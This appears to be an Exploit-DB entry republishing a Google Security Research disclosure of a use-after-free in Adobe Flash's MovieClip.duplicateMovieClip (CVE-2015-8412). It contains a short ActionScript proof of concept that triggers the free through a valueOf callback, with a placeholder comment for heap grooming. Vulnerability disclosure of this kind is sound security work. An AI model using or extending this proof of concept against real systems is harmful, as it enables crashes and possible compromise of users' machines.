Adobe Flash MovieClip.duplicateMovieClip - Use-After-Free

ID EDB-ID:39042
Type exploitdb
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Adobe Flash MovieClip.duplicateMovieClip - Use-After-Free. CVE-2015-8412. Dos exploit for windows platform


There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);

mc.duplicateMovieClip( "mc",{valueOf : func});

function func(){
	trace("in func");

        // Fix heap here

	return 5;
A sample swf and fla are attached.

Proof of Concept: